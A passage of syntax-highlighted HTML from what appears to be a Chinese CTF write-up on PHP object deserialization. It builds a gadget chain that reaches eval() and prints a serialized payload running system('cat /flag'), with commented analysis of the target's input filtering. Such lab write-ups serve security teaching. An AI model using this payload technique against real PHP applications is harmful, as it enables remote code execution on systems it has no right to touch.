style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> method_exists</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">close</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">handler</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">close</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> FileStream</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">debug</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">system('cat /flag')</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> </span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __construct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">path</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> close</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">mode</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ===</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">debug</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> !</span><span style=\"color:#998418;--shiki-dark:#B8A965\">empty</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">            $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">content</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#bda437;--shiki-dark:#e6cc77\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> return</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">            @</span><span style=\"color:#998418;--shiki-dark:#B8A965\">eval</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">cmd</span><span style=\"color:#a13865;--shiki-dark:#d9739f\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> else</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> DateFormatter</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> format</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timestamp</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> date</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Y-m-d H:i:s</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">timestamp</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>准确来说就是前两个类，那么我们期望执行的反序列化内容化为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> LogService</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> FileStream</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ref</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ReflectionClass</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">refProperty</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ref</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">getProperty</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">handler</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">refProperty</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setAccessible</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">true</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">refProperty</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setvalue</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">,$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">unserialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>这段代码所输出的payload是这样：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>O:10:\"LogService\":2:&#123;s:10:\"*handler\";O:10:\"FileStream\":3:&#123;s:16:\"FileStreampath\";N;s:16:\"FileStreammode\";N;s:7:\"content\";s:20:\"system('cat /flag');\";&#125;s:12:\"*formatter\";O:13:\"DateFormatter\":0:&#123;&#125;&#125;</span></span></code></pre>\n<p>那么让我们简单分析一下我们需要做什么：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1.传入user和bio的值</span></span>\n<span class=\"line\"><span>2.想办法把我们的期望执行的payload放在序列化字符串里面，也就是$safe_data</span></span></code></pre>\n<p>那看看其他类的作用是什么：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> &#x26;&#x26;</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //首先会检测我们传入的参数的值是否存在</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sec</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> SecurityProvider</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sec</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">verify</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">sec</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">verify</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //其次调用SecurityPrrovider这个类中的verify函数去查看我们传入的参数的值中是否存在..字符</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">profile</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> UserProfile</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_user</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">raw_bio</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //接着把我们传入的参数的值赋给新创建的UserPrrofile的username和bio</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">profile</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //然后序列化这个新创建的对象</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">strlen</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 4096</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        die</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Data too long</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">  //序列化之后的字符串长度不能超过4096个字符</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">safe_data</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> DataSanitizer</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">::</span><span style=\"color:#59873A;--shiki-dark:#80A665\">clean</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">data</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //调用DataSanitizer中的clean函数对序列化之后的字符串进行删除操作，也就是把序列化字符串中的所有hacker替换为空</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">unserialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> unserialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">safe_data</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //反序列化</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">unserialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> instanceof</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> UserProfile</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Profile loaded for </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> htmlspecialchars</span><span 